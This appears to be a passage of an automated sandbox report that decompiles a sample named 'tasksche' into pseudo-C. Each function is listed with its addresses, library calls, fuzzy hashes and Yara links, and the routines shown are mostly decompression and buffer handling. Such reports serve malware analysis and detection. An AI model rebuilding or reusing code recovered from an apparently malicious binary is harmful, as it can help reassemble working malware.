				if(_t264 > _t180 || _t264 >  *((intOrPtr*)(_t332 + 0xe6c8))) {
					L16:
					_t181 = 0;
					goto L17;
				} else {
					_push(0x70);
					 *(_t332 + 0xe6d4) = _t264;
					 *((char*)(_t343 + 0x13)) = _t264 == _t180;
					_t328 = E0041A89A(_t264, _t319, 0, _t264 - _t180);
					if(_t328 == 0) {
						_t328 = 0;
						__eflags = 0;
					} else {
						_t21 =  &(_t328[5]); // 0x14
						E004156C4(_t21);
					}
					if( *((char*)(_t343 + 0x13)) == 0) {
						_t184 =  *( *((intOrPtr*)(_t332 + 0xe6a4)) + _t264 * 4);
						_t328[4] = _t264;
						_t266 = _t184 + 8;
						 *_t266 =  *_t266 + 1;
						__eflags =  *_t266;
						 *(_t343 - 0x1c) = _t184;
						goto L23;
					} else {
						if(_t264 <= 0x2000) {
							E004129F9(_t332 + 0xe6a4, 1);
							_push(0x70);
							_t274 = E0041A89A(_t264, _t319, _t328, __eflags);
							__eflags = _t274;
							if(_t274 == 0) {
								_t274 = 0;
								__eflags = 0;
							} else {
								_t25 = _t274 + 0x14; // 0x14
								E004156C4(_t25);
							}
							 *( *((intOrPtr*)(_t332 + 0xe6a4)) +  *(_t332 + 0xe6a8) * 4 - 4) = _t274;
							 *(_t343 - 0x1c) = _t274;
							_t328[4] =  *(_t332 + 0xe6a8) - 1;
							E004148ED(_t332 + 0xe6c4, 0);
							_t266 = _t274 + 8;
							 *_t266 =  *_t266 & 0x00000000;
							L23:
							_t185 = 0;
							 *(_t343 - 0x18) = 0;
							 *(_t343 - 0x20) = 0;
							__eflags =  *(_t332 + 0xe6b8);
							if( *(_t332 + 0xe6b8) <= 0) {
								L30:
								__eflags =  *(_t332 + 0xe6b8) - 0x2000;
								if( *(_t332 + 0xe6b8) > 0x2000) {
									goto L16;
								}
								E004129F9(_t332 + 0xe6b4, 1);
								_t321 = 1;
								__eflags = 1;
								L32:
								 *( *((intOrPtr*)(_t332 + 0xe6b4)) + ( *(_t332 + 0xe6b8) - _t321) * 4) = _t328;
								_t328[2] =  *_t266;
								_t190 = E0040AB58(__eflags,  *((intOrPtr*)(_t343 - 0x10)));
								__eflags =  *(_t343 + 8) & 0x00000040;
								_t267 = _t190;
								if(( *(_t343 + 8) & 0x00000040) != 0) {
									_t267 = _t267 + 0x102;
									__eflags = _t267;
								}
								__eflags =  *(_t343 + 8) & 0x00000020;
								 *_t328 =  *((intOrPtr*)(_t332 + 0x70)) + _t267 &  *(_t332 + 0xe6dc);
								if(__eflags == 0) {
									_t194 =  *(_t343 + 0xc);
									__eflags = _t194 -  *((intOrPtr*)(_t332 + 0xe6c8));
									if(_t194 >=  *((intOrPtr*)(_t332 + 0xe6c8))) {
										_t195 = 0;
										__eflags = 0;
									} else {
										_t195 =  *( *((intOrPtr*)(_t332 + 0xe6c4)) + _t194 * 4);
									}
									_t328[1] = _t195;
								} else {
									_t248 = E0040AB58(__eflags,  *((intOrPtr*)(_t343 - 0x10)));
									_t328[1] = _t248;
									 *( *((intOrPtr*)(_t332 + 0xe6c4)) +  *(_t343 + 0xc) * 4) = _t248;
								}
								_t196 =  *((intOrPtr*)(_t332 + 0x74));
								_t281 =  *((intOrPtr*)(_t332 + 0x70));
								__eflags = _t196 - _t281;
								if(_t196 == _t281) {
									L43:
									_t197 = 0;
									__eflags = 0;
									goto L44;
								} else {
									__eflags = (_t196 - _t281 &  *(_t332 + 0xe6dc)) - _t267;
									if((_t196 - _t281 &  *(_t332 + 0xe6dc)) > _t267) {
										goto L43;
									}
									_t197 = 1;
									L44:
									_t91 =  &(_t328[0x13]); // 0x4c
									_t268 = _t91;
									_t328[3] = _t197;
									E0041A820(_t328, _t268, 0, 0x1c);
									_t328[0x17] = _t328[1];
									_t349 = _t347 + 0xc;
									__eflags =  *(_t343 + 8) & 0x00000010;
									_t328[0x16] = 0x3c000;
									_t328[0x18] = _t328[2];
									if(( *(_t343 + 8) & 0x00000010) == 0) {
										L49:
										__eflags =  *((char*)(_t343 + 0x13));
										if(__eflags == 0) {
											_t334 =  *(_t343 - 0x1c);
											L60:
											_t328[9] =  *(_t334 + 0x14);
											_t328[0xa] =  *(_t334 + 0x28);
											_t203 =  *(_t334 + 0x40);
											 *(_t343 + 0x10) = _t203;
											__eflags = _t203 - 1 - 0x1ffe;
											if(_t203 - 1 <= 0x1ffe) {
												_t136 =  &(_t328[0xf]); // 0x3c
												E00401106(_t136, _t203);
												E0041C290(_t136, _t328, _t334,  *_t136,  *((intOrPtr*)(_t334 + 0x3c)),  *(_t343 + 0x10));
												_t349 = _t349 + 0xc;
											}
											__eflags = _t328[0xc] - 0x40;
											if(_t328[0xc] < 0x40) {
												_t140 =  &(_t328[0xb]); // 0x2c
												E00401B67(_t140);
												E00401106(_t140, 0x40);
											}
											_t141 =  &(_t328[0xb]); // 0x2c
											_t269 = _t141;
											_t335 =  *_t269;
											_t142 =  &(_t328[0x13]); // 0x4c
											 *(_t343 + 0xc) = _t335;
											 *(_t343 + 0x10) = _t142;
											 *(_t343 - 0x20) = 7;
											do {
												E0040AB4B( *(_t343 + 0xc),  *( *(_t343 + 0x10)));
												 *(_t343 + 0x10) =  *(_t343 + 0x10) + 4;
												 *(_t343 + 0xc) =  *(_t343 + 0xc) + 4;
												_t153 = _t343 - 0x20;
												 *_t153 =  *(_t343 - 0x20) - 1;
												__eflags =  *_t153;
											} while ( *_t153 != 0);
											_t157 = _t335 + 0x1c; // 0x48
											E0040AB4B(_t157, _t328[1]);
											_t159 = _t335 + 0x20; // 0x4c
											E0040AB4B(_t159, 0);
											_t162 = _t335 + 0x2c; // 0x58
											E0040AB4B(_t162, _t328[2]);
											E0041A820(_t328, _t335 + 0x30, 0, 0x10);
											__eflags =  *(_t343 + 8) & 0x00000008;
											if(( *(_t343 + 8) & 0x00000008) == 0) {
												L74:
												_t181 = 1;
												L17:
												 *[fs:0x0] =  *((intOrPtr*)(_t343 - 0xc));
												return _t181;
											}
											_t214 =  *((intOrPtr*)(_t343 - 0x10));
											__eflags =  *((intOrPtr*)( *((intOrPtr*)(_t343 - 0x10)))) + 3 - 0x8000;
											if(__eflags >= 0) {
												goto L16;
											}
											_t215 = E0040AB58(__eflags, _t214);
											 *(_t343 + 8) = _t215;
											__eflags = _t215 - 0x1fc0;
											if(_t215 > 0x1fc0) {
												goto L16;
											}
											_t329 = _t328[0xc];
											_t169 = _t215 + 0x40; // 0x40
											__eflags = _t329 - _t169;
											if(_t329 < _t169) {
												__eflags = _t215 - _t329 + 0x40;
												E00401106(_t269, _t215 - _t329 + 0x40);
											}
											_t330 = 0;
											_t338 =  *_t269 + 0x40;
											__eflags =  *(_t343 + 8);
											if( *(_t343 + 8) <= 0) {
												goto L74;
											} else {
												while(1) {
													_t270 =  *((intOrPtr*)(_t343 - 0x10));
													__eflags =  *_t270 + 3 - 0x8000;
													if( *_t270 + 3 >= 0x8000) {
														goto L16;
													}
													 *((char*)(_t330 + _t338)) = E004097D1(_t270) >> 8;
													E004097BA(_t270, 8);
													_t330 = _t330 + 1;
													__eflags = _t330 -  *(_t343 + 8);
													if(_t330 <  *(_t343 + 8)) {
														continue;
													}
													goto L74;
												}
												goto L16;
											}
										}
										_t272 = E0040AB58(__eflags,  *((intOrPtr*)(_t343 - 0x10)));
										 *(_t343 + 0x10) = _t272;
										__eflags = _t272 - 0x10000;
										if(_t272 >= 0x10000) {
											goto L16;
										}
										_t340 = 0;
										__eflags = _t272;
										if(_t272 == 0) {
											goto L16;
										}
										E00406760(_t343 - 0x30, _t272);
										__eflags = _t272;
										_t273 =  *(_t343 - 0x30);
										 *(_t343 - 4) = 0;
										if(_t272 <= 0) {
											L55:
											_t334 =  *(_t343 - 0x1c);
											E0040AD8E( *((intOrPtr*)(_t343 - 0x14)), _t273,  *(_t343 + 0x10), _t334 + 0x14);
											 *(_t343 - 4) =  *(_t343 - 4) | 0xffffffff;
											__eflags = _t273;
											if(__eflags != 0) {
												_push(_t273);
												E0041A506(_t273, _t328, _t334, __eflags);
											}
											goto L60;
										} else {
											goto L53;
										}
										while(1) {
											L53:
											_t299 =  *((intOrPtr*)(_t343 - 0x10));
											__eflags =  *((intOrPtr*)( *((intOrPtr*)(_t343 - 0x10)))) + 3 - 0x8000;
											if( *((intOrPtr*)( *((intOrPtr*)(_t343 - 0x10)))) + 3 >= 0x8000) {
												break;
											}
											 *((char*)(_t273 + _t340)) = E004097D1(_t299) >> 8;
											E004097BA( *((intOrPtr*)(_t343 - 0x10)), 8);
											_t340 = _t340 + 1;
											__eflags = _t340 -  *(_t343 + 0x10);
											if(_t340 <  *(_t343 + 0x10)) {
												continue;
											}
											goto L55;
										}
										__eflags = _t273;
										if(__eflags != 0) {
											_push(_t273);
											E0041A506(_t273, _t328, _t340, __eflags);
										}
										goto L16;
									}
									_t342 = E004097D1( *((intOrPtr*)(_t343 - 0x10))) >> 9;
									E004097BA( *((intOrPtr*)(_t343 - 0x10)), 7);
									_t103 = _t343 + 0xc;
									 *_t103 =  *(_t343 + 0xc) & 0x00000000;
									__eflags =  *_t103;
									do {
										__eflags = _t342 & 1 <<  *(_t343 + 0xc);
										if(__eflags != 0) {
											 *_t268 = E0040AB58(__eflags,  *((intOrPtr*)(_t343 - 0x10)));
										}
										 *(_t343 + 0xc) =  *(_t343 + 0xc) + 1;
										_t268 =  &(_t268[1]);
										__eflags =  *(_t343 + 0xc) - 7;
									} while ( *(_t343 + 0xc) < 7);
									goto L49;
								}
							} else {
								goto L24;
							}
							do {
								L24:
								 *((intOrPtr*)( *((intOrPtr*)(_t332 + 0xe6b4)) + (_t185 -  *(_t343 - 0x18)) * 4)) =  *((intOrPtr*)( *((intOrPtr*)(_t332 + 0xe6b4)) + _t185 * 4));
								_t250 =  *(_t343 - 0x20);
								_t310 =  *((intOrPtr*)(_t332 + 0xe6b4)) + _t250 * 4;
								__eflags =  *_t310;
								if( *_t310 == 0) {
									_t55 = _t343 - 0x18;
									 *_t55 =  *(_t343 - 0x18) + 1;
									__eflags =  *_t55;
								}
								_t321 =  *(_t343 - 0x18);
								__eflags = _t321;
								if(_t321 > 0) {
									 *_t310 =  *_t310 & 0x00000000;
									__eflags =  *_t310;
								}
								_t185 = _t250 + 1;
								 *(_t343 - 0x20) = _t185;
								__eflags = _t185 -  *(_t332 + 0xe6b8);
							} while (_t185 <  *(_t332 + 0xe6b8));
							__eflags = _t321;
							if(__eflags != 0) {
								goto L32;
							}
							goto L30;
						}
						if(_t328 != 0) {
							E00414F64(_t264, _t328, _t328, _t343, 1);
						}
						goto L16;
					}
				}
			}

0x00416790
0x00416795
0x0041679a
0x0041679f
0x004167a1
0x004167aa
0x004167b2
0x004167b5
0x004167b8
0x004167ba
0x004167bc
0x004167bc
0x004167c9
0x004167d4
0x004167d7
0x004167da
0x004167df
0x004167e3
0x00416804
0x0041680a
0x0041680d
0x004167e5
0x004167eb
0x004167ed
0x004167f2
0x004167fe
0x004167ff
0x004167f4
0x004167f7
0x004167f7
0x004167f2
0x0041680f
0x00416817
0x00416866
0x00416866
0x00000000
0x00416821
0x00416823
0x00416825
0x0041682b
0x00416834
0x00416839
0x00416845
0x00416845
0x0041683b
0x0041683b
0x0041683e
0x0041683e
0x0041684b
0x004168d8
0x004168db
0x004168de
0x004168e1
0x004168e1
0x004168e3
0x00000000
0x00416851
0x00416857
0x00416881
0x00416886
0x0041688d
0x00416890
0x00416892
0x0041689e
0x0041689e
0x00416894
0x00416894
0x00416897
0x00416897
0x004168ac
0x004168bf
0x004168c2
0x004168c5
0x004168ca
0x004168cd
0x004168e6
0x004168e6
0x004168e8
0x004168eb
0x004168ee
0x004168f4
0x0041693b
0x0041693b
0x00416945
0x00000000
0x00000000
0x00416953
0x0041695a
0x0041695a
0x0041695b
0x0041696c
0x00416971
0x00416974
0x00416979
0x0041697d
0x0041697f
0x00416981
0x00416981
0x00416981
0x00416992
0x00416996
0x00416998
0x004169b3
0x004169b6
0x004169bc
0x004169c9
0x004169c9
0x004169be
0x004169c4
0x004169c4
0x004169cb
0x0041699a
0x0041699d
0x004169a5
0x004169ae
0x004169ae
0x004169ce
0x004169d1
0x004169d4
0x004169d6
0x004169e9
0x004169e9
0x004169e9
0x00000000
0x004169d8
0x004169e0
0x004169e2
0x00000000
0x00000000
0x004169e6
0x004169eb
0x004169ed
0x004169ed
0x004169f3
0x004169f6
0x004169fe
0x00416a04
0x00416a07
0x00416a0b
0x00416a12
0x00416a15
0x00416a54
0x00416a54
0x00416a58
0x00416af6
0x00416af9
0x00416afc
0x00416b02
0x00416b05
0x00416b0b
0x00416b0e
0x00416b14
0x00416b16
0x00416b1c
0x00416b29
0x00416b2e
0x00416b2e
0x00416b31
0x00416b35
0x00416b37
0x00416b3c
0x00416b45
0x00416b45
0x00416b4a
0x00416b4a
0x00416b4d
0x00416b4f
0x00416b52
0x00416b55
0x00416b58
0x00416b5f
0x00416b6a
0x00416b6f
0x00416b73
0x00416b77
0x00416b77
0x00416b77
0x00416b77
0x00416b82
0x00416b86
0x00416b90
0x00416b94
0x00416b9f
0x00416ba3
0x00416bb0
0x00416bb8
0x00416bbc
0x00416c38
0x00416c38
0x00416868
0x0041686e
0x00416876
0x00416876
0x00416bbe
0x00416bc6
0x00416bcc
0x00000000
0x00000000
0x00416bd3
0x00416bd8
0x00416bdb
0x00416be0
0x00000000
0x00000000
0x00416be6
0x00416be9
0x00416bec
0x00416bee
0x00416bf2
0x00416bf8
0x00416bf8
0x00416bff
0x00416c01
0x00416c04
0x00416c07
0x00000000
0x00416c09
0x00416c09
0x00416c09
0x00416c11
0x00416c16
0x00000000
0x00000000
0x00416c2a
0x00416c2d
0x00416c32
0x00416c33
0x00416c36
0x00000000
0x00000000
0x00000000
0x00416c36
0x00000000
0x00416c09
0x00416c07
0x00416a66
0x00416a68
0x00416a6b
0x00416a71
0x00000000
0x00000000
0x00416a77
0x00416a79
0x00416a7b
0x00000000
0x00000000
0x00416a85
0x00416a8a
0x00416a8c
0x00416a8f
0x00416a92
0x00416abe
0x00416abe
0x00416acc
0x00416ad1
0x00416ad5
0x00416ad7
0x00416ad9
0x00416ada
0x00416adf
0x00000000
0x00000000
0x00000000
0x00000000
0x00416a94
0x00416a94
0x00416a94
0x00416a9c
0x00416aa1
0x00000000
0x00000000
0x00416ab0
0x00416ab3
0x00416ab8
0x00416ab9
0x00416abc
0x00000000
0x00000000
0x00000000
0x00416abc
0x00416ae2
0x00416ae4
0x00416aea
0x00416aeb
0x00416af0
0x00000000
0x00416ae4
0x00416a26
0x00416a29
0x00416a2e
0x00416a2e
0x00416a2e
0x00416a32
0x00416a3a
0x00416a3c
0x00416a46
0x00416a46
0x00416a48
0x00416a4b
0x00416a4e
0x00416a4e
0x00000000
0x00416a32
0x00000000
0x00000000
0x00000000
0x004168f6
0x004168f6
0x0041690a
0x00416913
0x00416916
0x00416919
0x0041691c
0x0041691e
0x0041691e
0x0041691e
0x0041691e
0x00416921
0x00416924
0x00416926
0x00416928
0x00416928
0x00416928
0x0041692b
0x0041692c
0x0041692f
0x0041692f
0x00416937
0x00416939
0x00000000
0x00000000
0x00000000
0x00416939
0x0041685b
0x00416861
0x00416861
0x00000000
0x0041685b
0x0041684b

APIs

__EH_prolog.LIBCMT ref: 00416795

Part of subcall function 004129F9: _realloc.LIBCMT ref: 00412A51

Part of subcall function 0041A89A: _malloc.LIBCMT ref: 0041A8B4

_memset.LIBCMT ref: 004169F6
_memset.LIBCMT ref: 00416BB0

Strings

, xrefs: 00416992

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _memset$H_prolog_malloc_realloc
String ID:
API String ID: 1826288403-3916222277
Opcode ID: 0d48e13bb8a277f6458225f363c78ec795d6fd62086fd03c94a99887370c8703
Instruction ID: b2eea235d821e150737843ebb12b5e68f22e0a3d12c725fcd3f3b3fef6346f43
Opcode Fuzzy Hash: 0d48e13bb8a277f6458225f363c78ec795d6fd62086fd03c94a99887370c8703
Instruction Fuzzy Hash: 92E1BF71A007499FCB10EF65C980BEEB7B1FF14304F11482EE956A7281DB39E991CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00418B3D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 222
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00418B3D(intOrPtr __edx, intOrPtr* _a4, char _a7, signed int _a8, char _a11, short _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v4120;
				char _v8216;
				void* __ebx;
				void* __ebp;
				intOrPtr _t93;
				intOrPtr _t107;
				signed int _t116;
				signed int _t123;
				intOrPtr _t137;
				signed int _t150;
				intOrPtr _t151;
				intOrPtr* _t157;
				intOrPtr* _t166;
				intOrPtr _t178;
				intOrPtr _t180;
				signed int _t183;
				intOrPtr _t184;
				intOrPtr* _t187;
				void* _t188;

				_t178 = __edx;
				E0041AAF0(0x2014);
				_t187 = _a4;
				_v12 =  *((intOrPtr*)(_t187 + 0x6524));
				_t93 =  *((intOrPtr*)(_t187 + 0x6544));
				_v16 = _t93;
				if(_t93 != 3) {
					_t151 = _t187 + 0x65e8;
					_v8 = _t151;
					_t180 = _t151;
					__eflags = _t93 - 2;
					if(__eflags != 0) {
						L4:
						_a7 = 0;
						L5:
						_t150 = _a8;
						if(_t150 == 0 || _a7 == 0) {
							L12:
							_v24 =  *((intOrPtr*)( *_t187 + 0x10))();
							_v20 = _t178;
							if(_t150 != 0) {
								 *((intOrPtr*)(_t150 + 0x21f8)) =  *((intOrPtr*)(_t150 + 0x21f8)) + E00408E03(_t187, _t178);
								asm("adc [edi+0x4], edx");
							}
							E00408A32(_t187);
							E0040A8A1( &_v4120, 0x800, (E0041A7F7( &_v4120, _t187 + 0x1e) & 0xffffff00 |  *((char*)(_t187 + 0xb05a)) == 0x00000000) & 0x000000ff);
							asm("sbb edi, edi");
							_a11 = 0;
							_t183 =  ~( *(_v12 + 0x5195) & 0x000000ff) & 0x00000004;
							while(1) {
								_push(_t183);
								_push( &_v4120);
								_t157 = _t187;
								if( *((intOrPtr*)( *_t187 + 4))() != 0) {
									break;
								}
								__eflags = _t150;
								if(_t150 != 0) {
									 *(_t150 + 0x2200) =  *(_t150 + 0x2200) & 0x00000000;
									_t38 = _t150 + 0x2204;
									 *_t38 =  *(_t150 + 0x2204) & 0x00000000;
									__eflags =  *_t38;
								}
								__eflags = _a11;
								if(_a11 != 0) {
									L19:
									_t107 = _v12;
									__eflags =  *((char*)(_t107 + 0x517c));
									if( *((char*)(_t107 + 0x517c)) != 0) {
										L25:
										E00406376(0x44,  &_v4120);
										 *((intOrPtr*)( *_t187 + 4))(_t187 + 0x1e, _t183);
										 *((intOrPtr*)( *_t187 + 0xc))(_v24, _v20, 0);
										return 0;
									}
									_t116 = L00411987(_t157,  &_v4120, 0x800);
									__eflags = _t116;
									if(_t116 == 0) {
										goto L25;
									}
									continue;
								} else {
									E0041A7F7( &_v8216, _t187 + 0x1e);
									E0040A8A1( &_v8216, 0x800, 1);
									_t157 = _t187;
									_a11 = 1;
									_t123 =  *((intOrPtr*)( *_t187 + 4))( &_v8216, _t183);
									__eflags = _t123;
									if(_t123 != 0) {
										E0041A7F7( &_v4120,  &_v8216);
										break;
									}
									goto L19;
								}
							}
							E004116C9((_t187 + 0x0000001e & 0xffffff00 | _a16 != 0x00000054) & 0x000000ff, (_t187 + 0x0000001e & 0xffffff00 | _a16 != 0x00000054) & 0x000000ff, _t187 + 0x1e);
							E004019E7(_t187, _t178, _t188, _a16 - 0x54, 1);
							_t202 = _a7;
							_t166 = _t187;
							if(_a7 == 0) {
								E0040369F(_t178, _t188);
							} else {
								E0040370E(_t166, _t178, _t202, _v16);
							}
							if( *((intOrPtr*)(_t187 + 0x6544)) == 2) {
								E00401A5C(_t187);
								_t178 =  *((intOrPtr*)(_t187 + 0xb04c));
								asm("sbb edx, [esi+0x7634]");
								 *((intOrPtr*)( *_t187 + 0xc))( *((intOrPtr*)(_t187 + 0xb048)) -  *((intOrPtr*)(_t187 + 0x7630)), _t178, 0);
							}
							if(_t150 != 0) {
								_t184 = _v8;
								if(_v16 != 5) {
									 *((char*)(_t150 + 0x21c7)) =  *((intOrPtr*)(_t184 + 0x1089));
									 *((intOrPtr*)(_t150 + 0x20)) =  *((intOrPtr*)(_t184 + 0x1048));
									 *((intOrPtr*)(_t150 + 0x24)) =  *((intOrPtr*)(_t184 + 0x104c));
								} else {
									 *((char*)(_t150 + 0x21c7)) = 0;
								}
								_t137 = E00408E03(_t187, _t178);
								 *(_t150 + 0x21e8) =  *(_t150 + 0x21e8) & 0x00000000;
								 *(_t150 + 0x21ec) =  *(_t150 + 0x21ec) & 0x00000000;
								 *((intOrPtr*)(_t150 + 0x21d0)) = _t137;
								 *((intOrPtr*)(_t150 + 0x21d4)) = _t178;
								E00409885(_t150 + 0x2208,  *((intOrPtr*)(_t184 + 0x1060)),  *((intOrPtr*)(_v12 + 0x7298)));
							}
							return 1;
						} else {
							if( *((intOrPtr*)(_t187 + 0xb050)) == 3) {
								L10:
								asm("sbb ecx, ecx");
								if(E00409AE9(_t150, _t150 + 0x2208, _t178, _t195, _t180 + 0x1060,  ~( *(_t180 + 0x10ba) & 0x000000ff) & _t180 + 0x000010bb) == 0) {
									E0040639F(5, _t187 + 0x1e, _t180 + 0x20);
								}
								goto L12;
							}
							if( *((char*)(_t180 + 0x19)) < 0x14) {
								goto L12;
							}
							_t195 =  *((intOrPtr*)(_t180 + 0x1064)) - 0xffffffff;
							if( *((intOrPtr*)(_t180 + 0x1064)) == 0xffffffff) {
								goto L12;
							}
							goto L10;
						}
					}
					L3:
					_a7 = 1;
					if( *((char*)(_t180 + 0x1089)) != 0) {
						goto L5;
					}
					goto L4;
				}
				_t180 = _t187 + 0x8928;
				_v8 = _t180;
				goto L3;
			}

0x00418b3d
0x00418b45
0x00418b4c
0x00418b55
0x00418b58
0x00418b5f
0x00418b65
0x00418b72
0x00418b78
0x00418b7b
0x00418b7d
0x00418b80
0x00418b8f
0x00418b8f
0x00418b93
0x00418b93
0x00418b98
0x00418bf1
0x00418bf8
0x00418bfb
0x00418c00
0x00418c0f
0x00418c11
0x00418c11
0x00418c16
0x00418c47
0x00418c58
0x00418c5a
0x00418c5e
0x00418cd8
0x00418cda
0x00418ce1
0x00418ce2
0x00418ce9
0x00000000
0x00000000
0x00418c63
0x00418c65
0x00418c67
0x00418c6e
0x00418c6e
0x00418c6e
0x00418c6e
0x00418c75
0x00418c79
0x00418cb7
0x00418cb7
0x00418cba
0x00418cc1
0x00418d36
0x00418d3f
0x00418d4d
0x00418d5c
0x00000000
0x00418d5f
0x00418ccf
0x00418cd4
0x00418cd6
0x00000000
0x00000000
0x00000000
0x00418c7b
0x00418c86
0x00418c9b
0x00418caa
0x00418cac
0x00418cb0
0x00418cb3
0x00418cb5
0x00418d2d
0x00000000
0x00418d33
0x00000000
0x00418cb5
0x00418c79
0x00418cff
0x00418d08
0x00418d0d
0x00418d11
0x00418d13
0x00418d66
0x00418d15
0x00418d18
0x00418d18
0x00418d72
0x00418d76
0x00418d87
0x00418d8d
0x00418d9b
0x00418d9b
0x00418da0
0x00418da6
0x00418da9
0x00418dba
0x00418dc6
0x00418dcf
0x00418dab
0x00418dab
0x00418dab
0x00418dd4
0x00418dd9
0x00418de0
0x00418de7
0x00418df0
0x00418e08
0x00418e08
0x00000000
0x00418ba0
0x00418ba7
0x00418bb8
0x00418bc1
0x00418be0
0x00418bec
0x00418bec
0x00000000
0x00418be0
0x00418bad
0x00000000
0x00000000
0x00418baf
0x00418bb6
0x00000000
0x00000000
0x00000000
0x00418bb6
0x00418b98
0x00418b82
0x00418b89
0x00418b8d
0x00000000
0x00000000
0x00000000
0x00418b8d
0x00418b67
0x00418b6d
0x00000000

APIs

_wcscpy.LIBCMT ref: 00418C26
_wcscpy.LIBCMT ref: 00418C86
_wcscpy.LIBCMT ref: 00418D2D

Strings

T, xrefs: 00418CEF

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy
String ID: T
API String ID: 3048848545-3187964512
Opcode ID: 7b9b9af83664cc87fe2d3df4d2851bf5f64a8acbd8ca5ef161931a2b21923617
Instruction ID: 08ee224434b4342d1c159c2c22343cdeaadf414e9d08c0d11a019e9d32988bbe
Opcode Fuzzy Hash: 7b9b9af83664cc87fe2d3df4d2851bf5f64a8acbd8ca5ef161931a2b21923617
Instruction Fuzzy Hash: 99910871600744AFDF24DF64C884BEAB7F8AF15304F0445AFE95997282CB78AAC4CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0041254D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E0041254D(intOrPtr __ecx, intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				char _v28;
				void* __ebx;
				void* __edi;
				intOrPtr _t25;
				signed int _t30;
				signed int _t31;
				intOrPtr _t35;
				signed int _t40;
				void* _t41;
				signed int _t42;
				signed int _t46;
				signed int _t47;
				unsigned int _t48;
				void* _t51;

				_v16 = __ecx;
				_t25 = E0041252C(__ecx);
				_t47 = 0;
				_v8 = 0;
				if(_a4 <= 0) {
					return _t25;
				}
				_push(_t35);
				_push(_t48);
				do {
					if(_v8 >= 0x20) {
						if(_t47 < _a4) {
							L8:
							E0041216A( &_v28);
							E0041C77F( &_v28, 0x42d504);
							goto L9;
						}
						L12:
						return _t25;
					}
					_t48 = _a4 - _t47;
					_t41 = 0x20;
					_t42 = _t41 - _v8;
					_t30 = _t48;
					_t31 = _t30 / _t42;
					_t46 = _t30 % _t42;
					_v12 = _t31;
					if(_t31 <= 0x400000) {
						_v12 = 0x400000;
					}
					while(_t48 >= _v12) {
						_t35 = E0041CF3E(_t35, _t46, _t47, _t48);
						if(_t35 != 0) {
							goto L9;
						}
						_t48 = _t48 - (_t48 >> 5);
					}
					goto L8;
					L9:
					E0041A820(_t47, _t35, 0, _t48);
					_t25 = _v16;
					_t40 = _v8 << 2;
					_t47 = _t47 + _t48;
					_t51 = _t51 + 0xc;
					_v8 = _v8 + 1;
					 *((intOrPtr*)(_t40 + _t25)) = _t35;
					 *((intOrPtr*)(_t40 + _t25 + 0x80)) = _t47;
				} while (_t47 < _a4);
				goto L12;
			}

0x00412554
0x00412557
0x0041255c
0x0041255e
0x00412564
0x004125f7
0x004125f7
0x0041256a
0x0041256b
0x0041256c
0x00412570
0x004125f1
0x004125ad
0x004125b0
0x004125be
0x00000000
0x004125be
0x004125f3
0x00000000
0x004125f4
0x00412577
0x00412579
0x0041257a
0x0041257f
0x00412581
0x00412581
0x00412588
0x0041258d
0x0041258f
0x0041258f
0x004125a8
0x0041259a
0x0041259f
0x00000000
0x00000000
0x004125a6
0x004125a6
0x00000000
0x004125c3
0x004125c7
0x004125cf
0x004125d2
0x004125d5
0x004125d7
0x004125da
0x004125dd
0x004125e0
0x004125e7
0x00000000

APIs

__CxxThrowException@8.LIBCMT ref: 004125BE
_memset.LIBCMT ref: 004125C7

Strings

, xrefs: 0041256C

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: Exception@8Throw_memset
String ID:
API String ID: 3963884845-3916222277
Opcode ID: 653566bfccebebc550ca30b6af37db387d4266e4fa5bc9fcb69beb97700c845e
Instruction ID: ba4e6bc0ef6041dd665025fb65f45a384477b48ee7e133f8ed84bbd0a598a512
Opcode Fuzzy Hash: 653566bfccebebc550ca30b6af37db387d4266e4fa5bc9fcb69beb97700c845e
Instruction Fuzzy Hash: 60110671E01218BACB14EFA9CAD55DEB776FF54344F10406BE405E7241D6B85BD2CB88

Uniqueness

Uniqueness Score: -1.00%

Function 0041E132 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 28%

			E0041E132(void* __ebx, void* __ecx, void* __edx, intOrPtr* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				void* __ebp;
				void* _t20;
				void* _t22;
				void* _t23;
				void* _t25;
				intOrPtr* _t26;
				void* _t27;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t23 = __ecx;
				_t22 = __ebx;
				_t30 = _a20;
				if(_a20 != 0) {
					_push(_a20);
					_push(__ebx);
					_push(__esi);
					_push(_a4);
					E0041E0A0(__ebx, __edi, __esi, _t30);
					_t28 = _t28 + 0x10;
				}
				_t31 = _a28;
				_push(_a4);
				if(_a28 != 0) {
					_push(_a28);
				} else {
					_push(_t27);
				}
				E0041A12E(_t23);
				_push( *_t26);
				_push(_a16);
				_push(_a12);
				_push(_t27);
				E0041DB1D(_t22, _t25, _t26, _t27, _t31);
				_push(0x100);
				_push(_a24);
				_push(_a16);
